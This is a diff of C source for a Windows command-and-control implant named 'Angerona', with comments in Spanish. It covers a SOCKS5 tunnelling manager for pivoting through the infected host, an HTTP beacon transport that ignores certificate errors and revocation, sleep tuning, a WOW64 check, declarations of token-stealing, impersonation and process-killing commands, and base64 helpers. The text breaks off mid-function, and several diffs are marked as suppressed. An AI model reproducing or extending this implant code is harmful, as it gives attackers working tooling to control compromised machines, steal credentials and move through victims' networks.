if (socks_proxy_active) {
_dbg("SOCKS activo → ajustando sleep corto dinámico");
if (tiempoSleep > 5000) tiempoSleep = 5000; // máximo 5 segundos
}
angeronaConfig->tiempoSleep = tiempoSleep;
_dbg("Nuevo tiempoSleep configurado: %u ms", tiempoSleep);
/* respuesta al servidor */
PPaquete respuestaTarea = nuevoPaquete(POST_RESPONSE, TRUE);
addString(respuestaTarea, tareaUuid, FALSE);
addInt32(respuestaTarea, tiempoSleep);
mandarPaquete(respuestaTarea);
liberarPaquete(respuestaTarea);
return TRUE;
}
@@ -0,0 +1,14 @@
#pragma once
#ifndef SLEEP_H
#define SLEEP_H
#include <windows.h>
#include "paquete.h"
#include "analizador.h"
#include "comandos.h"
#include "utils.h"
#include "socks_manager.h" // <— añadido para acceder al flag socks_proxy_active
BOOL sleep(PAnalizador argumentos);
#endif
@@ -0,0 +1,527 @@
#include "socks_manager.h"
#include <stdlib.h>
#include <string.h>
#include <stdio.h>
#include "utils.h"
#include <stdint.h>
#include <errno.h>
#ifdef _WIN32
//#include <winsock2.h>
//#include <ws2tcpip.h>
#pragma comment(lib,"Ws2_32.lib")
typedef SOCKET sock_t;
#define CLOSESOCK(s) closesocket(s)
#else
#include <unistd.h>
#include <pthread.h>
#include <sys/socket.h>
#include <sys/types.h>
#include <netinet/in.h>
#include <arpa/inet.h>
#include <netdb.h>
typedef int sock_t;
#define INVALID_SOCKET -1
#define SOCKET_ERROR -1
#define CLOSESOCK(s) close(s)
#endif
volatile int socks_proxy_active = 0; // Flag global de estado SOCKS
typedef struct conn_entry {
uint32_t server_id;
sock_t sock;
struct conn_entry *next;
int closed;
} conn_entry_t;
static conn_entry_t *conn_list = NULL;
#ifdef _WIN32
static CRITICAL_SECTION conn_lock;
#else
static pthread_mutex_t conn_lock = PTHREAD_MUTEX_INITIALIZER;
#endif
typedef struct outgoing_node {
socks_msg_t msg;
struct outgoing_node *next;
} outgoing_node_t;
static outgoing_node_t *out_head = NULL;
static outgoing_node_t *out_tail = NULL;
#ifdef _WIN32
static CRITICAL_SECTION out_lock;
#else
static pthread_mutex_t out_lock = PTHREAD_MUTEX_INITIALIZER;
#endif
static void lock_init_once(void) {
#ifdef _WIN32
InitializeCriticalSection(&conn_lock);
InitializeCriticalSection(&out_lock);
#endif
}
/* === Inicialización / limpieza === */
void socks_manager_init(void) {
_dbg("socks_manager_init()");
lock_init_once();
#ifdef _WIN32
WSADATA wsa;
WSAStartup(MAKEWORD(2,2), &wsa);
#endif
}
void socks_manager_cleanup(void) {
_dbg("socks_manager_cleanup()");
#ifdef _WIN32
EnterCriticalSection(&conn_lock);
#else
pthread_mutex_lock(&conn_lock);
#endif
conn_entry_t *cur = conn_list;
while (cur) {
if (cur->sock != INVALID_SOCKET) CLOSESOCK(cur->sock);
conn_entry_t *n = cur->next;
free(cur);
cur = n;
}
conn_list = NULL;
#ifdef _WIN32
LeaveCriticalSection(&conn_lock);
DeleteCriticalSection(&conn_lock);
DeleteCriticalSection(&out_lock);
WSACleanup();
#else
pthread_mutex_unlock(&conn_lock);
#endif
socks_proxy_active = 0;
}
/* === Gestión de conexiones === */
static conn_entry_t* find_entry(uint32_t server_id) {
#ifdef _WIN32
EnterCriticalSection(&conn_lock);
#else
pthread_mutex_lock(&conn_lock);
#endif
conn_entry_t *cur = conn_list;
while (cur) {
if (cur->server_id == server_id) {
#ifdef _WIN32
LeaveCriticalSection(&conn_lock);
#else
pthread_mutex_unlock(&conn_lock);
#endif
return cur;
}
cur = cur->next;
}
#ifdef _WIN32
LeaveCriticalSection(&conn_lock);
#else
pthread_mutex_unlock(&conn_lock);
#endif
return NULL;
}
static conn_entry_t* create_entry(uint32_t server_id, sock_t s) {
conn_entry_t *e = malloc(sizeof(conn_entry_t));
if (!e) return NULL;
e->server_id = server_id;
e->sock = s;
e->next = NULL;
e->closed = 0;
#ifdef _WIN32
EnterCriticalSection(&conn_lock);
#else
pthread_mutex_lock(&conn_lock);
#endif
e->next = conn_list;
conn_list = e;
#ifdef _WIN32
LeaveCriticalSection(&conn_lock);
#else
pthread_mutex_unlock(&conn_lock);
#endif
_dbg("create_entry sid=%u sock=%d", server_id, (int)s);
return e;
}
static void remove_entry(uint32_t server_id) {
#ifdef _WIN32
EnterCriticalSection(&conn_lock);
#else
pthread_mutex_lock(&conn_lock);
#endif
conn_entry_t *cur = conn_list, *prev = NULL;
while (cur) {
if (cur->server_id == server_id) {
if (prev) prev->next = cur->next;
else conn_list = cur->next;
if (cur->sock != INVALID_SOCKET) CLOSESOCK(cur->sock);
_dbg("remove_entry sid=%u", server_id);
free(cur);
break;
}
prev = cur;
cur = cur->next;
}
#ifdef _WIN32
LeaveCriticalSection(&conn_lock);
#else
pthread_mutex_unlock(&conn_lock);
#endif
}
/* === Cola de salida === */
static void enqueue_outgoing(socks_msg_t *m) {
_dbg("enqueue_outgoing: sid=%u exit=%d len=%zu", m->server_id, m->exit_flag, m->data_len);
outgoing_node_t *n = malloc(sizeof(outgoing_node_t));
memset(n,0,sizeof(*n));
n->msg.server_id = m->server_id;
n->msg.exit_flag = m->exit_flag;
n->msg.data_len = m->data_len;
if (m->data_len) {
n->msg.data = malloc(m->data_len);
memcpy(n->msg.data, m->data, m->data_len);
} else n->msg.data = NULL;
n->next = NULL;
#ifdef _WIN32
EnterCriticalSection(&out_lock);
#else
pthread_mutex_lock(&out_lock);
#endif
if (!out_tail) out_head = out_tail = n;
else { out_tail->next = n; out_tail = n; }
#ifdef _WIN32
LeaveCriticalSection(&out_lock);
#else
pthread_mutex_unlock(&out_lock);
#endif
_dbg("Mensaje encolado OK (sid=%u)", m->server_id);
}
/* === Volcado de cola de salida === */
void socks_manager_flush_outgoing(socks_send_cb_t cb, void *ctx) {
_dbg("flush_outgoing: iniciando");
if (!cb) {
_err("ERROR: callback es NULL");
return;
}
#ifdef _WIN32
EnterCriticalSection(&out_lock);
#else
pthread_mutex_lock(&out_lock);
#endif
outgoing_node_t *n = out_head;
out_head = out_tail = NULL;
#ifdef _WIN32
LeaveCriticalSection(&out_lock);
#else
pthread_mutex_unlock(&out_lock);
#endif
int count = 0;
while (n) {
count++;
_dbg("flush_outgoing: procesando mensaje #%d (sid=%u exit=%d len=%zu)",
count, n->msg.server_id, n->msg.exit_flag, n->msg.data_len);
outgoing_node_t *next = n->next;
cb(n->msg.server_id, n->msg.exit_flag, n->msg.data, n->msg.data_len, ctx);
if (n->msg.data) free(n->msg.data);
free(n);
n = next;
}
_dbg("flush_outgoing: completado (%d mensajes procesados)", count);
}
/* === Base64 === */
extern int base64_decode(const char *b64, unsigned char **out, size_t *out_len);
extern int base64_encode(const unsigned char *data, size_t dlen, char **out_b64);
/* === Parseo SOCKS5 === */
static int parse_socks5_connect(const unsigned char *data, size_t data_len, char *out_ip, size_t ip_sz, uint16_t *out_port) {
if (data_len < 7) return -1;
if (data[0] == 0x05) {
if (data_len >= 10 && data[1] == 0x01 && data[2] == 0x00) {
unsigned char atyp = data[3];
if (atyp == 0x01 && data_len >= 10) {
snprintf(out_ip, ip_sz, "%u.%u.%u.%u", data[4], data[5], data[6], data[7]);
*out_port = (uint16_t)((data[8] << 8) | data[9]);
return 0;
} else if (atyp == 0x03) {
unsigned int len = data[4];
if (data_len >= 7 + len) {
memcpy(out_ip, &data[5], len);
out_ip[len] = 0;
*out_port = (uint16_t)((data[5+len] << 8) | data[6+len]);
return 0;
}
}
}
}
return -1;
}
/* === Thread lector === */
#ifdef _WIN32
DWORD WINAPI remote_reader_thread(LPVOID arg);
#else
static void* remote_reader_thread(void* arg);
#endif
typedef struct reader_args {
uint32_t server_id;
sock_t s;
} reader_args_t;
#ifdef _WIN32
DWORD WINAPI remote_reader_thread(LPVOID arg) {
reader_args_t *ra = (reader_args_t*)arg;
uint32_t sid = ra->server_id;
sock_t s = ra->s;
free(ra);
_dbg("Thread iniciado para sid=%u socket=%d", sid, (int)s);
unsigned char buf[4096];
int loop_count = 0;
while (1) {
loop_count++;
_dbg("sid=%u loop #%d, llamando recv()...", sid, loop_count);
int r = recv(s, (char*)buf, sizeof(buf), 0);
_dbg("sid=%u recv() retornó r=%d", sid, r);
if (r < 0) {
int err = WSAGetLastError();
_dbg(" WSAError=%d", err);
}
if (r <= 0) break;
_dbg("sid=%u recibió %d bytes, encolando...", sid, r);
socks_msg_t m = {sid, 0, buf, (size_t)r};
enqueue_outgoing(&m);
_dbg("sid=%u datos encolados OK", sid);
}
_dbg("sid=%u salió del loop, cerrando socket", sid);
_dbg("reader sid=%u closing", sid);
socks_msg_t m2 = {sid, 1, NULL, 0};
enqueue_outgoing(&m2);
CLOSESOCK(s);
_dbg("Thread terminado para sid=%u", sid);
return 0;
}
#else
static void* remote_reader_thread(void* arg) {
reader_args_t *ra = (reader_args_t*)arg;
uint32_t sid = ra->server_id;
sock_t s = ra->s;
free(ra);
unsigned char buf[4096];
while (1) {
ssize_t r = recv(s, buf, sizeof(buf), 0);
if (r <= 0) break;
_dbg("reader sid=%u recv=%zd", sid, r);
socks_msg_t m = {sid, 0, buf, (size_t)r};
enqueue_outgoing(&m);
}
_dbg("reader sid=%u closing", sid);
socks_msg_t m2 = {sid, 1, NULL, 0};
enqueue_outgoing(&m2);
CLOSESOCK(s);
return NULL;
}
#endif
/* === Conexión remota === */
typedef struct {
uint32_t ipv4; // en network byte order
uint16_t port; // en network byte order
} socks_bound_addr_t;
static int connect_and_spawn_reader(const char *dest, uint16_t port, uint32_t server_id, socks_bound_addr_t *bound) {
_dbg("connect_and_spawn_reader: dest=%s port=%u sid=%u", dest, port, server_id);
if (server_id == 0) {
_err("ERROR: invalid server_id=%u", server_id);
_dbg("invalid server_id=%u (ignored)", server_id);
return -4;
}
_dbg("connect_and_spawn_reader dest=%s port=%u sid=%u", dest, port, server_id);
struct sockaddr_in sa;
sock_t s = socket(AF_INET, SOCK_STREAM, 0);
if (s == INVALID_SOCKET) {
_err("ERROR: socket() failed");
return -1;
}
_dbg("Socket creado OK");
memset(&sa,0,sizeof(sa));
sa.sin_family = AF_INET;
sa.sin_port = htons(port);
/* Intentar parsear como dirección IP usando inet_addr (compatible con MinGW) */
unsigned long addr = inet_addr(dest);
if (addr == INADDR_NONE) {
/* No es una IP válida, intentar resolver como hostname */
_dbg("Resolviendo hostname: %s", dest);
struct hostent *h = gethostbyname(dest);
if (!h) {
_err("ERROR: gethostbyname failed");
CLOSESOCK(s);
return -2;
}
sa.sin_addr = *(struct in_addr*)h->h_addr;
_dbg("Hostname resuelto OK");
} else {
/* Es una IP válida */
sa.sin_addr.s_addr = addr;
}
_dbg("Conectando a %s:%u...", dest, port);
if (connect(s, (struct sockaddr*)&sa, sizeof(sa)) != 0) {
_err("ERROR: connect() failed errno=%d", errno);
_dbg("connect() failed errno=%d", errno);
CLOSESOCK(s);
return -3;
}
_dbg("Conexión exitosa!");
/* Guardar la dirección bound (la IP/puerto del destino conectado) */
if (bound) {
bound->ipv4 = sa.sin_addr.s_addr; // ya en network byte order
bound->port = sa.sin_port; // ya en network byte order
_dbg("Bound addr: %08X:%u", ntohl(bound->ipv4), ntohs(bound->port));
}
/* timeout para evitar bloqueo indefinido */
int timeout_ms = 15000; // 15s
setsockopt(s, SOL_SOCKET, SO_RCVTIMEO, (const char*)&timeout_ms, sizeof(timeout_ms));
_dbg("socket timeout set %d ms", timeout_ms);
_dbg("Creando entry para sid=%u", server_id);
create_entry(server_id, s);
#ifdef _WIN32
reader_args_t *ra = malloc(sizeof(reader_args_t));
ra->server_id = server_id; ra->s = s;
_dbg("Creando thread lector para sid=%u", server_id);
CreateThread(NULL,0, remote_reader_thread, ra, 0, NULL);
#else
pthread_t tid;
reader_args_t *ra = malloc(sizeof(reader_args_t));
ra->server_id = server_id; ra->s = s;
pthread_create(&tid, NULL, remote_reader_thread, ra);
pthread_detach(tid);
#endif
_dbg("connect_and_spawn_reader completado OK para sid=%u", server_id);
return 0;
}
/* === Procesamiento principal === */
int socks_manager_process_incoming(uint32_t server_id, int exit_flag, const unsigned char *data, size_t data_len) {
_dbg("process_incoming: sid=%u exit=%d len=%zu", server_id, exit_flag, data_len);
_dbg("incoming sid=%u exit=%d len=%zu", server_id, exit_flag, data_len);
if (server_id == 0) {
_err("ERROR: invalid server_id=%u", server_id);
_dbg("invalid server_id=%u", server_id);
return -4;
}
if (exit_flag) {
_dbg("Exit flag set, removiendo entry sid=%u", server_id);
remove_entry(server_id);
socks_msg_t m = {server_id, 1, NULL, 0};
enqueue_outgoing(&m);
return 0;
}
conn_entry_t *e = find_entry(server_id);
if (!e) {
char dest[256]; uint16_t dport=0;
int r = parse_socks5_connect(data, data_len, dest, sizeof(dest), &dport);
_dbg("Nueva conexión: sid=%u parse_rc=%d dest=%s port=%u", server_id, r, dest, dport);
_dbg("sid=%u new conn parse_rc=%d dest=%s port=%u", server_id, r, dest, dport);
if (r != 0) return -1;
socks_bound_addr_t bound;
memset(&bound, 0, sizeof(bound));
int rc = connect_and_spawn_reader(dest, dport, server_id, &bound);
_dbg("connect_and_spawn_reader rc=%d", rc);
_dbg("connect_and_spawn_reader rc=%d", rc);
if (rc != 0) {
_err("ERROR: connect_and_spawn_reader falló con rc=%d", rc);
return -2;
}
/* Construir respuesta SOCKS5 con bound address real */
unsigned char reply[10];
reply[0] = 0x05; // SOCKS5
reply[1] = 0x00; // Success
reply[2] = 0x00; // Reserved
reply[3] = 0x01; // IPv4
/* Copiar IP (4 bytes en network byte order) */
memcpy(&reply[4], &bound.ipv4, 4);
/* Copiar puerto (2 bytes en network byte order) */
memcpy(&reply[8], &bound.port, 2);
_dbg("Enviando respuesta SOCKS (10 bytes) a sid=%u con bound %u.%u.%u.%u:%u",
server_id, reply[4], reply[5], reply[6], reply[7], ntohs(bound.port));
socks_msg_t m = {server_id, 0, reply, sizeof(reply)};
enqueue_outgoing(&m);
_dbg("Respuesta SOCKS encolada para sid=%u", server_id);
return 0;
} else {
_dbg("Entry encontrada para sid=%u, enviando %zu bytes al socket remoto", server_id, data_len);
if (e->sock != INVALID_SOCKET) {
size_t total = 0;
while (total < data_len) {
_dbg("sid=%u enviando %zu bytes (total=%zu de %zu)", server_id, data_len - total, total, data_len);
int w = send(e->sock, (const char*)(data + total), (int)(data_len - total), 0);
_dbg("sid=%u send() retornó w=%d", server_id, w);
if (w <= 0) {
_err("send() falló para sid=%u, cerrando conexión", server_id);
_dbg("send error sid=%u w=%d", server_id, w);
remove_entry(server_id);
socks_msg_t m = {server_id, 1, NULL, 0};
enqueue_outgoing(&m);
return -1;
}
total += w;
}
_dbg("sid=%u enviados %zu bytes OK", server_id, data_len);
_dbg("sent %zu bytes sid=%u", data_len, server_id);
return 0;
} else {
_err("socket inválido para sid=%u", server_id);
return -2;
}
}
}
/* === Stubs start/stop === */
int socks_manager_start_proxy(uint16_t local_port) {
socks_proxy_active = 1;
_dbg("socks_manager_start_proxy port=%u (active)", local_port);
(void)local_port;
return 0;
}
int socks_manager_stop_proxy(void) {
_dbg("socks_manager_stop_proxy()");
socks_proxy_active = 0;
#ifdef _WIN32
EnterCriticalSection(&conn_lock);
#else
pthread_mutex_lock(&conn_lock);
#endif
conn_entry_t *cur = conn_list;
while (cur) {
if (cur->sock != INVALID_SOCKET) CLOSESOCK(cur->sock);
cur = cur->next;
}
#ifdef _WIN32
LeaveCriticalSection(&conn_lock);
#else
pthread_mutex_unlock(&conn_lock);
#endif
return 0;
}
@@ -0,0 +1,43 @@
#ifndef SOCKS_MANAGER_H
#define SOCKS_MANAGER_H
#include <stdint.h>
#include <stddef.h>
/* ==== Estructura básica de mensaje SOCKS ==== */
typedef struct socks_msg_s {
uint32_t server_id;
int exit_flag;
unsigned char *data;
size_t data_len;
} socks_msg_t;
/* ==== Callbacks ==== */
typedef void (*socks_send_cb_t)(
uint32_t server_id,
int exit_flag,
const unsigned char *data,
size_t data_len,
void *ctx
);
/* ==== Estado global ==== */
extern volatile int socks_proxy_active; // indica si el proxy SOCKS está activo
/* ==== API pública ==== */
void socks_manager_init(void);
void socks_manager_cleanup(void);
int socks_manager_process_incoming(
uint32_t server_id,
int exit_flag,
const unsigned char *data,
size_t data_len
);
void socks_manager_flush_outgoing(socks_send_cb_t cb, void *ctx);
int socks_manager_start_proxy(uint16_t local_port);
int socks_manager_stop_proxy(void);
#endif /* SOCKS_MANAGER_H */
@@ -0,0 +1,40 @@
#include "spawn.h"
#include "analizador.h"
#include <versionhelpers.h>
#pragma warning(disable: 4996)
#define ProcessWow64Information 26
int osMajorVersion;
BOOL SelfIsWindowsVistaOrLater() {
return IsWindowsVistaOrGreater();
}
typedef WINBASEAPI BOOL(WINAPI* FN_KERNEL32_ISWOW64PROCESS)(_In_ HANDLE hProcess, _Out_ PBOOL Wow64Process);
BOOL IsWow64ProcessEx(HANDLE hProcess) {
HMODULE hModule = GetModuleHandleA("kernel32");
FN_KERNEL32_ISWOW64PROCESS _IsWow64Process = (FN_KERNEL32_ISWOW64PROCESS)GetProcAddress(hModule, "IsWow64Process");
if (_IsWow64Process == NULL)
{
_err("kernel32$IsWow64Process: IsWow64Process is NULL");
return FALSE;
}
BOOL bStatus = FALSE;
BOOL Wow64Process = FALSE;
// bStatus = _IsWow64Process(hProcess, &Wow64Process);
bStatus = _IsWow64Process(hProcess, &Wow64Process);
if (!bStatus)
{
_err("_IsWow64Process failed with status code : %d", GetLastError());
return FALSE;
}
return Wow64Process; // TODO bug ! - returns 0 (x86) for current process?
}
@@ -0,0 +1,23 @@
#pragma once
#ifndef NATIVE_H
#define NATIVE_H
#include <windows.h>
#define STATUS_SUCCESS ((NTSTATUS)0x00000000L)
typedef NTSTATUS(WINAPI* NtQueryInformationProcess_t)(
HANDLE ProcessHandle,
ULONG ProcessInformationClass,
PVOID ProcessInformation,
ULONG ProcessInformationLength,
PULONG ReturnLength
);
BOOL IsWow64ProcessEx(HANDLE hProcess);
extern int osMajorVersion;
#endif
File diff suppressed because it is too large Load Diff
File diff suppressed because it is too large Load Diff
File diff suppressed because it is too large Load Diff
@@ -0,0 +1,26 @@
#pragma once
#ifndef TOKENS_H
#define TOKENS_H
#include "analizador.h"
#include "paquete.h"
// Token command codes (must match translator)
#define LIST_TOKENS_CMD 0x32
#define STEAL_TOKEN_CMD 0x33
#define MAKE_TOKEN_CMD 0x34
#define REV2SELF_CMD 0x35
#define KILL_CMD 0x37
// Forward declarations
BOOL EnableSeDebugPrivilege(VOID);
VOID ListarTokens(PAnalizador argumentos);
VOID RobarToken(PAnalizador argumentos);
VOID CrearToken(PAnalizador argumentos);
VOID RevertirToken(PAnalizador argumentos);
VOID ObtenerUsuarioActual(PAnalizador argumentos);
VOID MatarProceso(PAnalizador argumentos);
#endif
@@ -0,0 +1,238 @@
#include "transporte.h"
#include "socks_manager.h"
#define _WIN32_WINNT 0x0602
#include <winhttp.h>
#ifndef WINHTTP_OPTION_ENABLE_SSL_REVOCATION
#define WINHTTP_OPTION_ENABLE_SSL_REVOCATION 70
#endif
/* =======================================================
Obtener código de estado HTTP
======================================================= */
int obtenerCodigoDeEstado(HANDLE hPeticion) {
DWORD codigoDeEstado = 0;
DWORD tamanoEstado = sizeof(DWORD);
if (!WinHttpQueryHeaders(hPeticion, WINHTTP_QUERY_STATUS_CODE | WINHTTP_QUERY_FLAG_NUMBER,
WINHTTP_HEADER_NAME_BY_INDEX, &codigoDeEstado, &tamanoEstado, WINHTTP_NO_HEADER_INDEX))
return 0;
return codigoDeEstado;
}
/* =======================================================
Procesar tráfico SOCKS desde respuesta HTTP
======================================================= */
static VOID procesarSocksEntrante(PAnalizador respuesta) {
/* Placeholder desactivado: la estructura Analizador no define bloques.
Mantener función para futuras extensiones sin romper build. */
(void)respuesta;
}
/* =======================================================
Petición HTTP (envío + recepción)
======================================================= */
Analizador* realizarPeticionHTTP(PBYTE bufferIn, UINT32 bufferLen) {
_dbg("realizarPeticionHTTP() bufferLen=%u", bufferLen);
HANDLE hSesion = NULL, hConexion = NULL, hPeticion = NULL;
DWORD dwTamano = 0, dwDescargado = 0, codigoDeEstado = 0;
PVOID respBuffer = NULL;
DWORD respSize = 0;
UCHAR buffer[1024] = { 0 };
DWORD httpFlags = WINHTTP_FLAG_BYPASS_PROXY_CACHE;
wchar_t urlBuffer[512] = {0}; // Declare at function scope
WINHTTP_PROXY_INFO infoProxy = { 0 };
WINHTTP_CURRENT_USER_IE_PROXY_CONFIG configuracionProxy = { 0 };
DWORD tipoDeAcceso = WINHTTP_ACCESS_TYPE_NO_PROXY;
LPCWSTR httpProxy = WINHTTP_NO_PROXY_NAME;
LPCWSTR noProxyBypass = WINHTTP_NO_PROXY_BYPASS;
if (angeronaConfig->proxyHabilitado && angeronaConfig->urlProxy) {
tipoDeAcceso = WINHTTP_ACCESS_TYPE_NAMED_PROXY;
httpProxy = angeronaConfig->urlProxy;
}
if (angeronaConfig->SSL) {
httpFlags |= WINHTTP_FLAG_SECURE;
}
_dbg("WinHttpOpen()");
hSesion = WinHttpOpen(angeronaConfig->userAgent, tipoDeAcceso, httpProxy, noProxyBypass, 0);
if (!hSesion) {
_err("WinHttpOpen falló (%lu)", GetLastError());
return NULL;
}
_dbg("WinHttpOpen OK");
_dbg("WinHttpConnect() host=%ls port=%d", angeronaConfig->hostName, angeronaConfig->puertoHttp);
hConexion = WinHttpConnect(hSesion, angeronaConfig->hostName, angeronaConfig->puertoHttp, 0);
if (!hConexion) {
_err("WinHttpConnect falló (%lu)", GetLastError());
WinHttpCloseHandle(hSesion);
return NULL;
}
_dbg("WinHttpConnect OK");
// Log complete URL - ensure endpoint starts with /
wchar_t endpointBuf[256];
if (angeronaConfig->endPoint && angeronaConfig->endPoint[0] != L'/') {
swprintf(endpointBuf, 256, L"/%ls", angeronaConfig->endPoint);
} else {
wcsncpy(endpointBuf, angeronaConfig->endPoint ? angeronaConfig->endPoint : L"", 256);
}
swprintf(urlBuffer, 512, L"%ls://%ls:%d%ls",
angeronaConfig->SSL ? L"https" : L"http",
angeronaConfig->hostName,
angeronaConfig->puertoHttp,
endpointBuf);
_dbg("Complete URL: %ls", urlBuffer);
_dbg("WinHttpOpenRequest() endpoint=%ls method=%ls flags=0x%x",
endpointBuf, angeronaConfig->metodoHttp, httpFlags);
hPeticion = WinHttpOpenRequest(hConexion, angeronaConfig->metodoHttp, endpointBuf, NULL, NULL, NULL, httpFlags);
if (!hPeticion) {
_err("WinHttpOpenRequest falló (%lu)", GetLastError());
WinHttpCloseHandle(hConexion);
WinHttpCloseHandle(hSesion);
return NULL;
}
_dbg("WinHttpOpenRequest OK");
if (angeronaConfig->SSL) {
_dbg("Configurando opciones SSL");
DWORD opcionesSeguridad = SECURITY_FLAG_IGNORE_UNKNOWN_CA |
SECURITY_FLAG_IGNORE_CERT_DATE_INVALID |
SECURITY_FLAG_IGNORE_CERT_CN_INVALID |
SECURITY_FLAG_IGNORE_CERT_WRONG_USAGE;
if (!WinHttpSetOption(hPeticion, WINHTTP_OPTION_SECURITY_FLAGS, &opcionesSeguridad, sizeof(DWORD))) {
_wrn("WinHttpSetOption SECURITY_FLAGS falló (%lu)", GetLastError());
} else {
_dbg("SSL flags configurados OK");
}
// También configurar para deshabilitar revocación de certificados
DWORD dwEnableSSLRevocCheck = 0;
WinHttpSetOption(hPeticion, WINHTTP_OPTION_ENABLE_SSL_REVOCATION, &dwEnableSSLRevocCheck, sizeof(DWORD));
}
if (WinHttpGetIEProxyConfigForCurrentUser(&configuracionProxy)) {
if (configuracionProxy.lpszProxy && lstrlenW(configuracionProxy.lpszProxy) != 0) {
infoProxy.dwAccessType = WINHTTP_ACCESS_TYPE_NAMED_PROXY;
infoProxy.lpszProxy = configuracionProxy.lpszProxy;
infoProxy.lpszProxyBypass = configuracionProxy.lpszProxyBypass;
WinHttpSetOption(hPeticion, WINHTTP_OPTION_PROXY, &infoProxy, sizeof(infoProxy));
}
}
_dbg("Enviando %u bytes de datos codificados", bufferLen);
// Log first 100 bytes of data being sent (base64 preview)
if (bufferLen > 0 && bufferIn) {
char preview[101] = {0};
size_t previewLen = bufferLen > 100 ? 100 : bufferLen;
memcpy(preview, bufferIn, previewLen);
preview[previewLen] = '\0';
_dbg("Data preview (first %zu bytes): %s", previewLen, preview);
if (bufferLen > 100) {
_dbg("... (total %u bytes, showing first 100)", bufferLen);
}
}
if (!WinHttpSendRequest(hPeticion, WINHTTP_NO_ADDITIONAL_HEADERS, 0, bufferIn, bufferLen, bufferLen, 0)) {
_err("WinHttpSendRequest falló (%lu)", GetLastError());
WinHttpCloseHandle(hPeticion);
WinHttpCloseHandle(hConexion);
WinHttpCloseHandle(hSesion);
return NULL;
}
_dbg("WinHttpSendRequest OK");
_dbg("Esperando respuesta...");
if (!WinHttpReceiveResponse(hPeticion, NULL)) {
_err("WinHttpReceiveResponse falló (%lu)", GetLastError());
WinHttpCloseHandle(hPeticion);
WinHttpCloseHandle(hConexion);
WinHttpCloseHandle(hSesion);
return NULL;
}
_dbg("WinHttpReceiveResponse OK");
codigoDeEstado = obtenerCodigoDeEstado(hPeticion);
_dbg("HTTP status = %lu", codigoDeEstado);
// Try to get response headers for debugging
if (codigoDeEstado != 200) {
wchar_t headers[2048] = {0};
DWORD headerSize = sizeof(headers) / sizeof(wchar_t);
if (WinHttpQueryHeaders(hPeticion, WINHTTP_QUERY_RAW_HEADERS_CRLF,
WINHTTP_HEADER_NAME_BY_INDEX, headers, &headerSize, WINHTTP_NO_HEADER_INDEX)) {
_dbg("Response headers:");
_dbg("%ls", headers);
} else {
_wrn("Could not retrieve response headers (error: %lu)", GetLastError());
}
}
if (codigoDeEstado != 200) {
_err("HTTP status no OK --> %lu", codigoDeEstado);
_err("Request URL was: %ls", urlBuffer);
_err("Request size was: %u bytes", bufferLen);
WinHttpCloseHandle(hPeticion);
WinHttpCloseHandle(hConexion);
WinHttpCloseHandle(hSesion);
return NULL;
}
_dbg("HTTP status OK (200)");
do {
dwTamano = 1024;
if (!WinHttpQueryDataAvailable(hPeticion, &dwTamano)) {
_err("WinHttpQueryDataAvailable falló (%lu)\n", GetLastError());
break;
}
if (dwTamano == 0) break;
if (!WinHttpReadData(hPeticion, buffer, 1024, &dwDescargado)) {
_err("WinHttpReadData falló (%lu)\n", GetLastError());
break;
}
respSize += dwDescargado;
respBuffer = respBuffer ? LocalReAlloc(respBuffer, respSize, LMEM_MOVEABLE | LMEM_ZEROINIT)
: LocalAlloc(LPTR, respSize);
memcpy((PBYTE)respBuffer + (respSize - dwDescargado), buffer, dwDescargado);
_dbg("Recibidos %u bytes (%lu totales)", dwDescargado, respSize);
memset(buffer, 0, sizeof(buffer));
} while (dwTamano > 0);
_dbg("Respuesta total %lu bytes", respSize);
WinHttpCloseHandle(hPeticion);
WinHttpCloseHandle(hConexion);
WinHttpCloseHandle(hSesion);
respBuffer = LocalReAlloc(respBuffer, respSize + 1, LMEM_MOVEABLE | LMEM_ZEROINIT);
PAnalizador analizador = nuevoAnalizador((PBYTE)respBuffer, respSize);
/* NOTA: El parsing del bloque SOCKS se hace DESPUÉS de decodificar base64 en paquete.c */
/* Aquí solo devolvemos el analizador con los datos base64-encoded */
_dbg("realizarPeticionHTTP() completado");
return analizador;
}
/* =======================================================
Función principal de transporte (puente con el resto)
======================================================= */
Analizador* mandarYRecibir(PBYTE datos, SIZE_T tamano) {
#ifdef HTTP_TRANSPORT
_dbg("mandarYRecibir() len=%zu", tamano);
return realizarPeticionHTTP(datos, (UINT32)tamano);
#else
return NULL;
#endif
}
@@ -0,0 +1,17 @@
#pragma once
#ifndef TRANSPORTE
#define TRANSPORTE
#include <windows.h>
#include <winhttp.h>
#include "angerona.h"
#include "analizador.h"
#include "socks_manager.h" // <— añadido
#pragma comment(lib, "winhttp.lib")
#define HTTP_TRANSPORT
Analizador* mandarYRecibir(PBYTE datos, SIZE_T tamano);
#endif
@@ -0,0 +1,202 @@
#include "utils.h"
const char b64chars[] = "ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/";
size_t b64tamanoCodificado(size_t inlen) {
size_t ret;
ret = inlen;
if (inlen % 3 != 0)
ret += 3 - (inlen % 3);
ret /= 3;
ret *= 4;
return ret;
}
int aleatorioInt32(int min, int max) {
return (rand() % (max - min + 1)) + min;
}
char* b64Codificado(const unsigned char* in, SIZE_T len) {
char* out;
SIZE_T elen;
SIZE_T i;
SIZE_T j;
SIZE_T v;
if (in == NULL || len == 0) {
return NULL;
}
elen = b64tamanoCodificado(len);
out = (char*)LocalAlloc(LPTR, elen + 1);
if (!out) {
return NULL;
}
out[elen] = '\0';
for (i = 0, j = 0; i < len; i += 3, j += 4) {
v = in[i];
v = i + 1 < len ? v << 8 | in[i + 1] : v << 8;
v = i + 2 < len ? v << 8 | in[i + 2] : v << 8;
out[j] = b64chars[(v >> 18) & 0x3F];
out[j + 1] = b64chars[(v >> 12) & 0x3F];
if (i + 1 < len) {
out[j + 2] = b64chars[(v >> 6) & 0x3F];
} else {
out[j + 2] = '=';
}
if (i + 2 < len) {
out[j + 3] = b64chars[v & 0x3F];
} else {
out[j + 3] = '=';
}
}
return out;
}
SIZE_T b64tamanoDecodificado(const char* in) {
SIZE_T len;
SIZE_T ret;
SIZE_T i;
if (in == NULL) {
return 0;
}
len = strlen(in);
ret = len / 4 * 3;
for (i = len; i-- > 0; ) {
if (in[i] == '=') {
ret--;
} else {
break;
}
}
return ret;
}
static int b64_inverse(char c) {
if (c >= 'A' && c <= 'Z') return c - 'A';
if (c >= 'a' && c <= 'z') return c - 'a' + 26;
if (c >= '0' && c <= '9') return c - '0' + 52;
if (c == '+') return 62;
if (c == '/') return 63;
return -1;
}
int b64Decodificado(const char* in, unsigned char* out, SIZE_T outlen) {
if (!in || !out) return 0;
SIZE_T len = strlen(in);
